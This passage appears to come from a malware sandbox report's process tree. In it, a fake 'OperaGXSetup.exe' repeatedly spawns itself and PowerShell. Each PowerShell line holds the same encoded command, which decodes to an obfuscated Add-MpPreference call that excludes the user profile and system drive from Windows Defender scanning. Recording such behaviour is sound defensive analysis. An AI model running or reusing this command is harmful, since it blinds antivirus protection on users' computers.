        169⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        169⤵
        
        PID:828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        170⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        170⤵
        
        PID:3788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        171⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        171⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        172⤵
        
        PID:7240
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        172⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        173⤵
        
        PID:5528
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        173⤵
        
        PID:3836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        174⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        174⤵
        
        PID:4760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        175⤵
        
        PID:3976
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        175⤵
        
        PID:5928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        176⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        176⤵
        
        PID:4188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        177⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        177⤵
        
        PID:8116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        178⤵
        
        PID:7296
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        178⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        179⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        179⤵
        
        PID:2284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        180⤵
        
        PID:8020
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        180⤵
        
        PID:3788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        181⤵
        
        PID:4500
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        181⤵
        
        PID:6140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        182⤵
        
        PID:6048
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        182⤵
        
        PID:6496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        183⤵
        
        PID:5448
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        183⤵
        
        PID:4748
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        184⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        184⤵
        
        PID:4660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        185⤵
        
        PID:7688
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        185⤵
        
        PID:6800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        186⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        186⤵
        
        PID:3424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        187⤵
        
        PID:6164
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        187⤵
        
        PID:1728
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        188⤵
        
        PID:5092
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        188⤵
        
        PID:6480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        189⤵
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        189⤵
        
        PID:3188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        190⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        190⤵
        
        PID:7012
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        191⤵
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        191⤵
        
        PID:5100
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        192⤵
        
        PID:500
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        192⤵
        
        PID:4812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        193⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        193⤵
        
        PID:3984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        194⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        194⤵
        
        PID:5564
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        195⤵
        
        PID:376
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        195⤵
        
        PID:7188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        196⤵
        
        PID:6008
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        196⤵
        
        PID:6896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        197⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        197⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        198⤵
        
        PID:2892
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        198⤵
        
        PID:4568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        199⤵
        
        PID:6352
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        199⤵
        
        PID:1036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        200⤵
        
        PID:7608
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        200⤵
        
        PID:7592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        201⤵
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        201⤵
        
        PID:8
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
